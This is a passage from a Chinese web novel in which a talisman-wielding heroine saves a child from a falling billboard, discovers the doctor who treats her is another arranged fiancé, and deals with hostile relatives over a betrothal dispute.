刚好,她定的酒店楼下就是一个商场,取下房卡,坐电梯下楼,买衣服。 鹿翎刚走出女装区,手上还拎着两个简约风格的购物袋,一脸肉疼地把东西准备拿回去,指尖还残留这面料细腻的触感。 只能说不愧是商场里面的大牌子。 刚走出拐角,头顶突然传来一阵刺耳的金属摩擦声,紧接着就是人群的惊呼,鹿翎抬头看去,一块巨型户外广告牌的固定架断裂,带着破碎的玻璃碎片,朝着下面人群轰然坠落。 就在广告牌下面,一个小男孩正蹲在地上捡滚落的皮球,全然没觉察出头顶的危险。 鹿翎瞳孔骤缩,几乎是本能地往前冲了两步,左手飞快掐诀,口中急念:“天地玄宗,万炁本根;三界内外;惟道独尊;体有金光,覆映全身;奉吾之令!护!” 她先是甩出一张护身符,护住小男孩,右手画出一道虚符,掌风一扫:“金光速现,覆护器物;邪祟远离,坚不可摧!奉吾之令!覆!” 黄符瞬间化作金色光罩,精准笼罩坠落的广告牌。 “砰”的一声闷响,广告牌被光罩死死抵住,下坠之势骤然停滞,但巨大的冲击力让光罩剧烈震颤,边缘玻璃碎片还是崩裂开来,四散飞溅。 金光闪过,护在小男孩身上的符纸生效,大部分飞剑的玻璃碎片被挡在体外。 不过,他的额头被碎片擦过,留下一道鲜红的血痕,吓得“哇”的一声哭出来。 鹿翎则下意识护在他的身前,后背的小臂被零星碎片划破,几道血痕渗出血珠,她咬着呀,维持着符咒的效力。 小男孩哭得她头疼,只好摸了摸小男孩的头,安慰他:“别怕,伤口不深。” 刚想站起身,右脚突然传来一阵钻心的疼痛,整个人晃了晃,她这才反应过来,刚才跑得太快,脚崴了才知道。 周围的人群瞬间炸开了锅,混乱中,一道清洌的男声穿透嘈杂:“大家让一让!我是医生!” 鹿翎抬眼望去,指尖一个穿着白衬衫、戴着金丝眼镜的年轻男人快步走来,而恰好,救护车来了。 医护人员下车后,其中一位看见男人后,微微一愣,喊道:“程烨医生,你怎么在这?” 第34章:一波未平一波又起 听到这个名字,鹿翎明显愣住了。 如果她没听错的话,程烨是她第二本婚书上,男方的名字吧... 而这时,消防车来了。 消防员们合力固定住广告牌,鹿翎和小男孩被医护人员扶出来,她才松口气,收回符咒上的灵气。 并不是因为消防员来了她才松口气,而是因为幸好,她使用符咒的时候,没人看见。 因为刚好广告牌下方是个小花坛,砸在上面,并没有引起群众的疑问。 为什么砸落的广告牌会停在半空。 程野点点头,先蹲到小男孩面前,从随身的包里掏出纱布和酒精,动作麻利地给孩子清理伤口,声音轻柔:“小朋友,忍一下,很快就好。” 而赶来的医护人员见小男孩有程烨在照顾,就看向鹿翎,其中一位护士小姐姐目光落在她肿起的脚踝,和小臂的划伤上,语气柔和地开口:“脚踝疑似韧带扭伤,等会和我们去医院拍片确认一下吧。” 鹿翎点了点头,目光又转移到给小男孩清理伤口的程烨身上了。 不是,她怎么这么倒霉。 一出门就遇见她第二个退婚对象了。 其实这还好,她不用费心去找人。 小男孩抽噎着抓住鹿翎没受伤的手,小声说道:“姐姐,谢谢你,你的脚还好吗?” 鹿翎看着他挂着泪珠的小脸,轻轻摸了摸他的头:“没事,问题不大。” 她低头瞥了眼肿起的脚踝,心里默默盘算着,回头得画几张活血消肿的符备用。 程烨刚给小男孩包扎好额头的伤口,远处就传来一阵局促的呼喊声:“年年!我的年年!” 人群自动分开一条道,一位穿着休闲长裙,妆容有些凌乱的女人快步跑来。 看见完好无损的小男孩,瞬间红了眼眶,一把将他搂进怀里:“年年,你没事吧?吓死妈妈了!” 小男孩看见妈妈,委屈的哭声更响了,紧紧拽住她的衣角,“妈妈,刚才好可怕,是这个姐姐救了我。” 女人这才注意到旁边的鹿翎,连忙抬头道歉。 话还没说出口,一道怒气冲冲的男声就砸了过来,对女人就是一顿劈头盖脸的责骂,“你是怎么看孩子的?让你好好看着她,你非要东张西望,要是出了人命怎么办?我看你连个孩子都看不好,你有什么用!” 男人西装革履,脸色铁青,眼神里全是指责和嫌弃,丝毫没有顾及女人通红的眼眶。 和女人狼狈的模样形成鲜明的对比。 女人被骂的眼圈更红了,嗫嚅着辩解:“我就转身买瓶水的功夫,谁知道会出这种事...” 鹿翎坐在花坛边上,目光淡淡扫过男人的脸。 印堂发黑,眉尾带煞,眼下有青黑之气萦绕,正是典型的戾气缠身、近期易生祸事的面相。 更别说,眉尾还带着散乱,眼带桃花,法令纹左右深浅不一,却还有分叉,下巴削尖无肉。 这是说明婚姻不稳,易生外心,自私凉薄,缺乏责任感,在婚姻中极容易出轨。 “买水?孩子的安全不如一瓶水重要?”男人得理不饶人,语气越发尖锐,周围的围观者都忍不住侧目。 有些人看不下去,开始为女人解释。 “凶什么吗?不会好好说话吗?” “你自己这么不看孩子?光把责任怪在母亲身上算什么事?” “就是就是。” 男人被群众怼得一句话都说不出来,脸色憋得通红,他视线愤愤地瞪了眼女人。 鹿翎皱皱眉,开口劝阻道:“孩子没事已经是万幸,与其指责你老婆,怎么不在自己身上找原因。” 男人愣了一下,转头看向鹿翎,看见她手臂的划伤和被纱布包裹起来的脚踝,语气稍缓但依旧带着不耐烦,“多谢你救了我儿子,但他看不住孩子是事实。” 女人抿着唇,抱着小男孩的手微微发颤。 鹿翎没在接话,而是对小男孩招来手。 小男孩拉住妈妈走了过去。 他的眼眶红红的,睫毛上还挂着泪珠:“姐姐,有什么事吗?” 鹿翎先是摸了摸小男孩的头,眼神带着安慰,抬眸视线看向女人,轻声道:“姐姐,我提醒你一句,眼睛看到的未必是事实,多留个心眼总是好的。” 女人抬头,茫然地看着鹿翎,不明白她这话是什么意思。 而男人像是被戳中痛处,脸色瞬间阴沉下来:“你这话是什么意思?故意挑拨我们夫妻之间的感情?我告诉你,别以为你救了我儿子,我就会对你感恩戴德,小心我告你诽谤!” “只是随口提醒。”鹿翎淡淡回应,转头对医护人员点头,“可以走了。” 程烨闻言,上前一步,对女人说道:“孩子只是些皮外伤,我已经做了消毒处理,后续注意别沾水就行了。” 医护人员连忙将鹿翎扶上车,男人还想再说什么,却被女人拉住胳膊。 女人看着鹿翎的背影,又看了看身边神色闪烁的丈夫,眼底渐渐蒙上一层阴霾。 救护车鸣笛驶向医院。 车厢里,程烨正小心翼翼地给鹿翎的脚踝做临时固定,动作轻柔。 鹿翎闭着眼,靠在椅背上,心里默默盘算着,等伤好了,这第二桩退婚的事也得抓紧提上日程了。 到了医院,鹿翎被推进拍片室,拍片结果显示轻度韧带扭伤,划伤也做了彻底清创包扎。 登陆了坐在病床前换药事,程烨才递来一张名片:“我叫程烨,是一名外科医生,有任何不适可以给我打电话。” 鹿翎接过名片,看着上面“程烨”两个字,心里不由地叹口气。 还真是一波未平一波又起。 鹿翎买了根拐杖,一瘸一拐地离开医院,程烨本来想送她的,但被鹿翎很明确地拒绝。 程烨也不好多说什么,只是在窗口目送鹿翎离开。 鹿翎走出医院大门,顺手把名片丢进垃圾桶里。 她想,后面只会再见一面了。 她打了个车,回酒店。 刚到自己房间门口,又想起自己才买的衣服裤子,低头看了眼自己的脚,叹口气,给前台打个电话,打算让他们看看商场门口有没有衣服,麻烦他们送上来。 注意是,她的脚实在不好多走,杵着拐杖太麻烦了。 没过一会,前台就把衣服送上来,鹿翎开了门,说了声谢谢。 现在是不想用浴缸,不得不用浴缸了。 洗完澡,躺床睡觉。 —— 第二天。 鹿翎是被一种奇异的感觉唤醒的。 第35章:同城热搜 她猛然睁开眼睛,低头看向自己受伤的脚踝,稍微动了动,感觉对比昨天要好一些。 放在床头柜的座机响起,鹿翎匍匐上前,接通电话。 “鹿翎小姐,请问是否享用早餐?” 鹿翎回:“是,给我来一点你们店的招牌。” “好的,鹿翎小姐,考虑到你的脚方便,等会我让服务生给你送上来。” 鹿翎嗯了一声,便挂断电话,她躺在床上,思考着第二个未婚夫怎么退婚。 想着应该除了退婚外,两人就不会再见第二面了。 她拿出工作机,点开微信,划到最下方,打开聊天框,发出一条消息出去: 【查查江州一位叫程烨的外科医生。】 没过一两秒,对方先是发出一个问号,才问出问题: 【你怎么想起查人了?你自己查不行吗?】 鹿翎单手打字回: 【我是华国好市民,开盒犯法。】 【......】 【你有病?我就不是好市民了?我也是华国人【微笑.JPG】】 鹿翎嘴角弯起一抹弧度: 【你现在在国外,不受影响】 【就问你查不查】 【查,怎么不查】 【大小姐都开口求人了,我还能拒绝吗?】 鹿翎看着聊天框,微微蹙了蹙眉。 说实话,要不是自己有限制,不能查自己身边关系密切的人的信息,她也不会让别人来查消息。 她收起手机,正好,门被敲响了,鹿翎不想下床,但奈何服务员没房卡,只好一蹦一跳,跑去开门。 一开门,自己就吓了一跳,后面跟着大概五六个服务生,手上端着比鹿翎脑袋都大的盘子,上面全是精美的吃食,就是份有些少。 鹿翎给他们让出一条道来,服务生把所有盘子全部摆在餐桌上。 为首的应该是个领导,胸口还别着小型麦克风,她脸上挂起得体的笑:“鹿翎小姐,这全是我们的招牌菜,需要我们帮忙布菜吗?” 鹿翎摇头,一瘸一拐地走到餐桌边上,坐下来,摇头道:“不用,你们自己忙自己的去吧,我吃完后叫你们就行了。” 她没有让别人伺候自己吃饭的习惯。 服务生弯腰笑:“好的,鹿翎小姐,祝你用餐愉快。” 门被关上。 鹿翎开始安心吃饭。 吃到一半,放在床上的工作机响起,鹿翎去拿过来。 是视频通话,鹿翎按住接听键,手机立马弹出界面。 但不是普通手机的视频通话界面,而是弹出虚空虚拟蓝色屏幕,屏幕里出现一张脸。 对方穿着蓝色衬衫,在异国大道上,一手拿着手机,一手推了推金色镜框,睫毛很长,皮肤很白,可以用漂亮来形容他那张脸。 “查到了吗?”鹿翎靠在靠椅上,挺漫不经心的姿势。 视频里这个男人眯着一双有些妖异的眼睛,他鼻梁很高,长相有些风流俊美,就算是在异国,来来往往的人都忍不住回头。 “查到了,资料发你。”容翰音把刚找到的资料发给鹿翎,好奇心促使他多问了一嘴,“你查一个医生干什么?” “当然有事啊,你这不是废话吗?”鹿翎吞下嘴里的饭团。 容翰音换只手,“不过这个白大褂有个问题,就是我只能查到他是一个医生,在哪家任职并没有查到。” 鹿翎无所谓地摆摆手:“不用查这些,把他父母查到就行了。” 她不在乎其他人。 她只在乎她关心人的主要关系。 见他查到自己想要的资料后,就挂断电话,点开容瀚音发给自己的资料。 一看父母,通过照片就能看出面容和善,和顾景深她妈简直是天差地别。 在往下滑,看见熟悉的面孔时微微一愣。 傅荣华是程烨的奶奶? 这么巧的吗? 那这退婚就好退了,等脚伤好后,准备就去北郊区找傅老夫人退婚。 吃完后,把餐桌收拾好,打电话给前台,让人过来收拾。 —— 这边,裴家别墅。 裴昊然今天没有去公司,要找鹿翎的消息。 裴淼淼和裴泽宇坐在沙发另一边。 知道大哥现在心情不好,他们兄妹两没人敢说话。 裴耀阳坐在沙发上,一脸无所谓,语气里充满了恶毒,“大哥,找她干什么,要我说,就让她死在外面多好。” 裴昊然没制止他后续的话,不过还是瞪了他一眼:“不想再被爸扇巴掌,就好好说话。” 裴耀阳撇撇嘴,最后还是没再多嘴。 找鹿翎这件事,他们几兄弟交给了大哥裴昊然,裴泽宇半躺在沙发上,百无聊赖地刷着手机,手指划过同城热搜是,一条标题突然闯入视线。 “商城广告牌突发坠落,神秘少女‘托住’救孩童”。 配文里提到了事发地点,正是鹿翎住的希尔顿酒店楼下的商场,还附了一段路人拍到的模糊视频。 视频里,一道熟悉的黑色身影飞快冲向花坛,紧接着半空中似乎闪过一道金光,没有重物落地的声音,直到消防员赶来,营救出鹿翎和小男孩。 虽然画面模糊不清,但那身形,分明就是鹿翎。 “哥!你们快来看!”裴泽宇猛然从沙发上弹起,声音惊得正在打电话问位置的裴昊然手机差点掉了。 声音引起裴耀阳、裴淼淼的注意。 裴泽宇聚气手机,冲到裴昊然面前,手机怼到他脸上,“鹿翎昨天在商场救了人,还是用她那歪门邪道救的。” 裴昊然皱眉接过手机,反复播放视频。 画面里并没有重物落地的轰隆声,这番场景让他想起鹿翎那些被他们视作“歪门邪道”的符纸,脸色渐渐凝重。 裴淼淼凑到面前看了一眼,指甲深深掐进掌心,眼底闪过一丝阴翳。 这个鹿翎,就算在外面,也能搞出让人无法忽视的动静。 “她住得是哪家酒店来着?”裴昊然突然开口,语气里带着不容置疑的严肃。 裴泽宇立刻回道:“希尔顿!我们自己家的酒店。” 裴昊然把手机扔回给他,起身拿起外套:“走,去找她。” “哥,我们真要去给她道歉吗?”裴泽宇还是很不情愿,想起之前的种种冲突,脸上表情全是抵触。 “爸的话你敢不听?”裴昊然瞪了他一眼,“况且她现在和傅家有关系,又闹出这种事,万一被外人知道我们裴家对亲女儿不管不顾,脸还要不要了?” 第36章:和程烨的婚书被发现了 裴耀阳小声哔哔:“昨天晚上脸已经丢大发了,还在乎这点脸吗?” 他说完,抬头一看,裴昊然的巴掌已经在头上举着了,面无表情的脸似乎再说: 你在多嘴一句,这巴掌就会落在你头上了。 裴耀阳尴尬一笑,没再多嘴。 —— 北郊区,四合院。 昨天晚上的视频,傅宛然今天也刷到了。 “奶奶,小丫头片子出事了。”傅宛然拿起手机,走到傅荣华面前,把手机怼到她脸上。 傅荣华带着金链眼镜,正低头绣苏绣,被突如其来的声音吓愣住了手,似乎是习惯了傅宛然的一惊一乍。 她神情倒是很平静,没看视频,依旧低头绣她的东西,语气很平和:“小丫头片子?是你的朋友?” 见傅荣华不感兴趣,傅宛然撇撇嘴,收起手机,继续滑动看视频,漫不经心说道:“不算是吧,毕竟她人挺高冷的。” 傅荣华没说话,专心致志低头做她的东西。 傅宛然也不上前找骂,转身进屋。 不知道傅荣华突然想起什么,她抬头看向傅宛然:“去我屋找盒线,就在柜子里,你自己找一下。” 绣狸猫的线没有了,她年纪大,不好起身去找,等会还要东翻西找,自己腰受不住,正好孙女在这,就让她去找好了。 傅宛然反手比OK。 屋内,傅宛然很少来到奶奶的房间,更别说奶奶平常把东西放哪里也不知道,只好在那柜子里面找。 东翻翻西找找,想要的东西没找到,倒是翻出一个看起来很陈旧的盒子,上面落了很厚的灰。 门外传来傅荣华的声音:“还没找到吗?” 傅宛然喊:“还没有,马上。” 她把找到的东西放在一边,眼睛一瞟,就看见放在旁边线,拿出去给傅宛然,自己在折回来,看那个铁盒子。 这个铁盒子看起来是有十几年没打开了,表面有很厚的灰,发黄生绣,没有锁。 拿到外面,用干净纱布把表面擦干净。 打开后,里面也没有什么新奇的东西,只有一个红色的布袋子。 和盒子不同,这个布袋子还很干净,表面没有一丝灰尘。 红布袋子拿起来,打开一看,里面是一个册子,上面印有婚书两个字。 婚书?不会是她的吧。 傅宛然心想。 她皱皱眉,想着如果里面是自己的名字,那就拿出去偷偷丢掉,放在里面这么久了,奶奶肯定忘记了。 结果打开一看,名字不是自己的。 而是... 傅宛然瞪大眼睛,眼神中全是震惊。 女方名字上怎么是小丫头片子鹿翎的名字? 再向下看。 ??? 程烨? 程烨不是她哥吗? 鹿翎怎么和她哥有婚书? —— 顾氏公司大厦,顶层总裁办公室。 顾景深坐在真皮沙发上,今天的他老是不在状态,开会的时候总要想到其他事其他人。 为了不让自己工作分心,索性他结束会议,让他们自己干自己的事,没有什么重要的事就不要打扰自己。 无聊的他现在也只能刷刷手机,手指划过视频,感觉也没意思。 划过几个视频就想退出去,指尖下意识划过一个同城热搜视频,结果看到一抹熟悉的身影后,还不确定,又划回来再看一遍,确定是鹿翎后,他微微一愣。 放下手机后,给助理打个电话过去。 “陈助,你过来一下。” 过了几秒后,陈助拿着平板推开总裁办公室大门,大步走进来。 “总裁,有什么事吗?” 顾景深把手机转个弯,摆到陈助面前,点了点屏幕,“看看,这是不是裴家那位大小姐鹿翎。” 陈助有幸见过鹿翎几面,作为总裁助理,他是必须要记住所有对顾景深重要人物的面貌,但鹿翎不一样,她对顾景深并不重要,但她那张脸,是他见过所有千金名媛中最美最漂亮的一个女孩子。 陈助凑上去看,虽然看不到脸,但鹿翎小姐的背影他还是挺熟悉的。 看到后,他后退一步,双手背在身后,“是的,总裁,这是鹿翎小姐。” 顾景深微微眯眼,“那她现在在哪?” 陈助打开平板,“据我所知,鹿翎小姐在昨天晚上救人后,因为受伤,被送往医院,现在应该回到裴家的希尔顿酒店。” 听到鹿翎受伤,顾景深“砰”的一下站起来,后退的动作引起椅子滑动,声音引起低头看平板的陈助的注意。 陈助见状,微微一愣。 他这还是第一次见自家总裁有这么大的反应,就算是未婚妻裴淼淼小姐自杀住院,他表情除了心疼外,就没有太多大的情绪外泄,这么一到了鹿翎小姐... 注意到自己情绪的问题,顾景深收敛好自己的情绪,他轻咳一声,假装很慢地整理起本来不乱的西装。 “去告诉司机一声,我马上要去希尔顿酒店。” 陈助虽然很疑惑顾景深为什么要去找鹿翎,但职业素养告诉他不能插手老板的事。 他关闭平板,点头:“好的,总裁。” —— 希尔顿酒店,豪华套房。 鹿翎吃完饭后就躺在床上,没打算出去走动,刚收拾完,门外传来急促的敲门声。 她一蹦一跳一瘸一拐慢悠悠挪到门边,电子锁屏幕上是一张熟悉又陌生的脸,似乎在哪里见过。 鹿翎没急着开门,先是问人是谁:“你谁啊。” 对方一愣,恭谨开口:“鹿翎小姐你好,我是顾总的助理。” 顾总? 顾景深? 他来干什么。 鹿翎依靠在门边,并没有开门的打算,“有事吗?” “是这样的鹿翎小姐,我们总裁在网上看见你英勇无畏的视频,发现你受伤了,就来看看你的伤势情况怎么样了。” 鹿翎今天心情好,不想同他们掰扯,“不用了,你们既然没什么事,就请回吧,我这不欢迎你。” 说完,刚想转身就走,而也就在这个时候,站在一边没说话的顾景深开口了,“鹿翎,我知道你这样做是为了引起我的注意。” 鹿翎走到一半,硬生生被这番话说得愣在原地,她嗤笑一声,“顾总,你脸怎么这么大呢,还引起你的注意,你这种人,只有裴淼淼那种大小姐才会喜欢。” 顾景深:“我已经知道我们两个之间有婚约了。” 这番话不仅让陈助愣在原地,就连身后已经上来找鹿翎的裴家三兄妹也听见了。 第37章:顾裴两家联姻 裴泽宇和裴昊然面面相觑,裴淼淼直接愣在原地。 顾景深还想说什么,裴淼淼反应过来,她眼眶一瞬间就红了,她上前一步,打断顾景深要说的话:“景深哥,你说什么...” 她装没听见了,她的未婚夫怎么和姐姐有婚约在身。 那她算什么? 算上不得台面,不被顾家人认可的第三者吗? 顾景深被这声熟悉的声音喊呆住了,他转头看,瞪大眼睛,不可置信道:“淼淼你怎么在这?” 裴淼淼没说话,捂住嘴,转身跑了。 见妹妹走了,裴昊然和裴泽宇连忙更上去,连他们这次来最重要的事都忘记了。 顾景深先是转头看豪华套房的门,又转头看裴淼淼离开的背影,很难抉择。 最后还是在陈助理提醒下,选择去追裴淼淼。 门外没动静,只依稀听到淼淼两个字,裴淼淼也来了? 鹿翎转身去看显示屏,发现没看见顾景深,正要打开门瞅一眼,突然响起的声音把鹿翎吓了一跳。 “抱歉,鹿翎小姐,我老板有事就先走了,我们下次再见。” 谁要跟你们再见啊。 鹿翎翻个白眼,反驳道:“得了吧,不需要好吧,快滚快滚。” 陈助理没说话,弯弯腰,离开。 在显示屏看见一抹西装离开,鹿翎才放心。 —— 这边,裴淼淼哭着跑开,裴泽宇和裴昊然人高腿长,没一会就追上她。 “裴淼淼,你跑什么。”裴泽宇率先抓住裴淼淼的胳膊。 裴淼淼现在眼眶都哭肿了,睫毛上挂着晶莹的泪珠,看上去我见犹怜,她抽噎着没说话。 裴昊然阴沉着脸,作为裴家最年长的孩子,刚刚顾景深的话,他是听得一清二楚,他未来的妹夫竟然和那个歪门邪道的东西有婚书。 这对裴家来说简直是奇耻大辱! 裴家两位小姐都和顾氏集团继承人有婚约。 这算什么事? 这顾家有没有把他们裴家当回事? “你们还没听见吗?景深竟然和姐姐有婚约?那我这个正牌未婚妻算个什么东西?”裴淼淼的声音因为哭泣过,嗓音变得沙哑。 对比起裴淼淼的伤心,裴泽宇的表情还算正常,没有义愤填膺,倒是多了几分从容和看好戏,他语气戏谑,带着笃定,“你自己也说了,你是正牌未婚妻,鹿翎算个什么东西?而且,万一这件事是个乌龙呢?” “再者,就算是真的,你觉得爸妈会让一个从下在乡下长大,给裴家丢尽脸面的乡野村妇嫁进顾家吗?” “换句话说,你觉得孟阿姨会让鹿翎嫁进顾家吗?” 孟阿姨就是顾夫人。 裴泽宇的话像恶魔低语,但也确实是实话。 顾家是江州顶级豪门,以后是要进军京城,顾景深就是顾家希望,顾父顾母唯一的儿子。 想要成为顾家少夫人的女孩必定是千金小姐,再不济的,也得是名媛吧。 这样不仅能给顾家带来好处,也压得住这个儿媳妇。 不仅顾家是这样想,江州其他豪门也是这样想的。 而裴泽宇的话像是打通裴淼淼的任督二脉般,她猛然醒悟,眼睛亮闪闪的看着裴泽宇。 他说得没错啊。 顾家怎么会让一个乡巴佬嫁进去。 再怎么说,也是她裴淼淼才对。 裴淼淼脸上重新洋溢起笑容,她擦擦眼泪,笑道:“谢谢哥。” 裴泽宇嘴角弯了碗:“你都叫我哥了,我怎么也得开导开导你吧。” 裴昊然低头看了眼手机,皱眉道:“这件事还是得告诉爸,至于道歉,先把这个事解决了。” 对比给鹿翎道歉,顾裴两家联姻才是大事。 至于鹿翎? 呵。 她算什么东西。 裴泽宇裴淼淼点点头。 司机正好在路边,三人上车,准备回裴家。 在裴家司机开走没有一分钟,顾景深和陈助理从上面下来了。 顾景深小跑出来,并没有看见裴家三兄妹的身影,他皱眉,“淼淼呢?” “回裴家了吧。”陈助理回道,“要去裴家吗?总裁。” 顾景深拧眉看时间,“算了,先回公司吧,淼淼那边等有空的时候去解释。” “好的,总裁。” —— 晚上。 一进家门,就看见裴淼淼蜷缩在裴昊然怀里,裴泽宇和裴耀阳在旁边安慰。 杨丽华放下名牌包包,走到裴淼淼旁边,裴泽宇和裴耀阳给杨丽华让出道来。 见裴淼淼在呜咽着抽咽,心疼地从裴泽宇怀里捞过裴淼淼,问:“心肝,你怎么又哭了,发生什么事了。” 裴淼淼哭得一句好都说不出来,还是裴泽宇替裴淼淼说:“妈,今天我们打算去找鹿翎道歉,但是没想到在门口看见了景深哥...” 光是听到鹿翎这个名字,杨丽华都已经厌恶地皱起眉,更别说最后一句,她听完直接懵了,“你说什么?在鹿翎的房间门口看见了景深?他在哪干什么?” 裴泽宇没回答杨丽华的问题,而是自顾自的说:“并且,我们还听到鹿翎竟然和景深哥有婚约...” 最后说完,裴泽宇还看了裴淼淼一眼。 裴淼淼听到婚约两个字,又哭起来。 裴耀阳闻言,更是厌恶地皱起眉头:“二哥,你说什么胡话,景深哥怎么可能和乡...鹿翎有婚约。” 乡巴佬说到第一个字,裴耀阳想起什么,紧急制住话头,硬生生拐个弯,十分不情愿地说出鹿翎两个字。 说出这两个字像是要裴耀阳的命一样,说完后,立马一瘸一拐跑去卫生间刷牙。 话音刚落,杨丽华立马站起来,眼神中透出不可置信:“什么婚约?顾景深竟然和鹿翎有婚约?我们这些当父母的怎么不知道自己女儿和别人有婚约,这开什么玩笑?” 裴天逸皱眉,也上前几步,“什么婚约,景深不是和淼淼有婚约,和鹿翎有什么婚约?” 裴天逸和杨丽华都不知道。 “鹿翎现在在哪?”杨丽华脸色很难看,“我现在就找她说清楚。” 说完,她转身就想走,但被裴天逸拉住。 裴天逸拧眉:“有什么事明天再说。” “这还需要什么明天再说?这就是关于到淼淼的幸福!”杨丽华算是彻底炸了。 第38章:亲自给鹿翎道歉 “就该让她死在那山沟沟里面,而不是把她接回来,一接回来就出这么多幺蛾子!”杨丽华气愤不已。 “她就是个扫把星,抢走淼淼的地位也就算是了,现在还要抢走淼淼的未婚夫,早知道她长大后是这样子,我就掐死她!” 这还是她第一次在孩子们面前露出如此歇斯底里的模样。 也是第一次露出如此恶毒的一面。 全家人都愣住了。 他们也没想到杨丽华情绪会这么大。 裴天逸也是第一次见平时温柔体贴的妻子,怎么会变成这个样子。 在鹿翎回来前,她在家完全是一个完美妻子的形象,在外就是贵妇。 而裴家四兄妹弟也没想到平时对他们无微不至、体贴入微的母亲,会变成如此可怕的模样。 竟然现在有掐死一个刚出生的婴儿的想法。 虽然这个婴儿已经成年了。 杨丽华吼完后,自己也反应过来,她呆愣在原地,不知所措。 “妈妈,你在说什么啊...”裴淼淼抬起头,一脸茫然无措的模样。 “我...我...”后续半天没说完,杨丽华似乎接受不要自己说出的这番话,最后捂着脸,小声呜咽地跑回卧室。 昊然皱眉看向裴天逸。 裴泽宇和裴耀阳面面相觑。 裴淼淼也愣在原地,她本来想借此机会,好好在杨丽华面前哭诉一番。 但没想到,自己还没破防成这个样子,妈妈倒是先愤然作色了。 这是自己的未婚夫... 不过,现在这个情况也到达她的所想要预期了。 还不错。 甚至情况比她预想的还要好。 裴昊然看向紧紧皱眉的裴天逸,语气也出现了一丝茫然,“爸,现在该怎么办?” 裴天逸道:“你们道完歉了吗?” 裴泽宇不可思议:“爸!你怎么回事,现在我们在讨论淼淼的婚事被鹿翎抢了才对,你怎么注意力还放在我们有没有给鹿翎道歉这件事上?” 裴耀阳想说话,但会想起自己挨的那巴掌,还是最终什么多没说。 裴天逸凉飕飕的视线扫过裴泽宇。 裴泽宇抿抿唇,低头不敢看,默默地后退一步,不敢说话。 “婚事这件事我明天亲自问她,既然你们都不道歉,那我这个父亲去道。”裴天逸视线扫过裴家其他人,最后落在裴昊然这个大哥上,“你作为大哥,我希望你能做到一碗水端平。” 裴昊然微微点头,表示赞同。 裴天逸没说话,走到还愣在那里的裴淼淼身边,摸了摸她的头,安慰道:“行了,明天我去问问你姐姐,这件事你就不要担心了,属于你的东西自然是你的。” 他这话带着点暗示意味。 但对裴淼淼来说,不是不够。 她要的不仅是未婚夫... 现在她还不能急,放在一边的手暗暗捏紧,指甲嵌进肉里,但表面上依旧装出一副楚楚可怜的样子,她乖巧地点点头:“好的,爸爸。” 裴天逸嘴角微微勾起,欣慰地点点头,“去吧,去安慰安慰你妈妈。” 裴淼淼低头,起身转身上楼。 —— 第二天。 豪华套房。 鹿翎很早就醒了,她下床去洗手间,下意识地用右脚,等踩上地面后,她才反应过来,自己的右脚崴了。 但脚踝并没有传来熟悉的痛感,鹿翎很疑惑,坐回到床上,象征性动了动自己的脚踝。 不痛。 一点都不痛。 这才两天时间,没有丝毫的痛感。 这是为什么... 鹿翎不解。 门口传来一阵敲门声。 鹿翎没急着去开门,而是先走一段路,发现真的一点都没有痛感后,她才正常走路去看显示屏。 看见是裴父裴天逸,她微微挑眉,有些震惊。 他怎么来了? 裴天逸对她态度挺好的,虽然知道他不安好心,不知道处于什么目的,但鹿翎还是选择开门。 裴天逸还以为鹿翎不会给她开门,本来还想多敲几下,表情也多了一丝不耐烦。 没想到鹿翎这么快就打开门了,脸上的表情还没来得及收起。 她打开门,靠在门框边上,一眼就看见裴天逸脸上的表情,挑眉,挺漫不经心的样子:“有事?” 裴天逸依旧皱起眉,但这份不耐烦立马化成对女儿不回家的担心,“你两天不回家,是想当野人吗?” 见他话说不到重点,鹿翎就要关门。 裴天逸急眼了:“你这孩子,怎么说不到一两句就不耐烦呢?” 鹿翎不在意,她摆摆手:“有话快说,没话就快滚。” 裴天逸拧眉:“我是来替你的哥哥妹妹弟弟道歉的。” “道歉?”鹿翎双手抱臂,环抱在胸前,“道歉那倒没必要,我们之间没什么歉好道的。” 瞧鹿翎这么识时务,他眼中闪过几分赞许。 这个女儿也没有怎么无药可救。 他想起裴淼淼那件事,还是皱起眉头,“还有件事,你和顾景深的婚事是怎么回事?” 鹿翎挑眉,有些错愕。 裴家是怎么知道有这个事的? “这个和你们有关系吗?”鹿翎脸上全是嫌弃的表情,似乎是想到什么恶心东西。 “你应该知道你和景深的身份不对等,而且,顾家是不会同意你和景深的婚约。”裴天逸苦口婆心,“如果你实在是想找个富二代,爸爸会给你找一个适合你的老公,所以,和景深的婚事就到此作罢吧。” 鹿翎在心里默默翻个白眼,开口嘲讽:“得了吧,顾景深也就你们看得上了,你放心,我和顾景深的婚约早在我回裴家的第二天就退了。” 裴天逸欣慰地点点头。 孺子可教也。 鹿翎,“说完了吗?说完我就关门了。” 说完,还没等裴天逸说话,鹿翎就作势要关上房门。 “砰”的一声,把裴天逸的思想拉回来。 他刚想说一两句,不知道想到什么,在临走前敲门警告她:“今天晚上你就必须回来了,一个女孩子在外面想什么话,晚上我让裴管家来接你。” 鹿翎没说话,但裴天逸知道她听见了。 也不管她回不回答,转身就走。 鹿翎无所谓地耸耸肩。 她出来本就是想在外面待几天,既然裴天逸来请自己回去了,那也没有不回去的必要。 第39章:江雨柔失声 裴管家在楼下等着,鹿翎身上什么东西都没有,准备回家。 —— 这边,北郊区,傅家四合院。 傅宛然吃饭心不在焉,筷子都被碰掉好几次,期间让女佣拿了起码三次新筷子了,傅荣华看不下,她放下筷子,瞧傅宛然这副吃饭不在状态的模样,“吃饭就吃饭,别想其他的事。” 傅宛然回过神,手上筷子再次掉落。 她抬头,有些心虚地看向面无表情的傅荣华。 傅荣华脸上没什么表情,只是眼底透出淡淡的杀意。 “不好意思啊,奶奶。”佣人来捡筷子,顺便递给她一双新的,“我吃饭再也不走神了。” 傅荣华没说话。 长辈不敢说话,她这个当小辈的自然也不敢再说什么。 良久,傅荣华才淡淡开口:“说吧,有什么事竟然让你在吃饭的时候心不在焉。” 傅宛然还在想到底告不告诉婚书这件事。 上午她找到婚书后,没告诉傅荣华这件事,她不知道怎么开口,只是把东西藏了起来。 “没什么。”傅宛然放下筷子,转身离开餐厅。 傅荣华若有所思地看着傅宛然离开的背影。 —— 裴家。 没开灯,也没有佣人在,裴管家停下车直接无视鹿翎,开门走进去。 要不是鹿翎反应快,那个大门就被裴管家用力关上了。 不过也没关系,她可以飞回去。 简单收拾一番后,鹿翎回到自己房间准备睡觉。 第二天。 鹿翎睡醒一打开房门,楼下传来呜咽声和一道熟悉又陌生的声音。 听起来很像是在安慰谁。 鹿翎没管,自顾自下楼,让张婶准备早餐。 本无意招惹,但偏偏要凑上来。 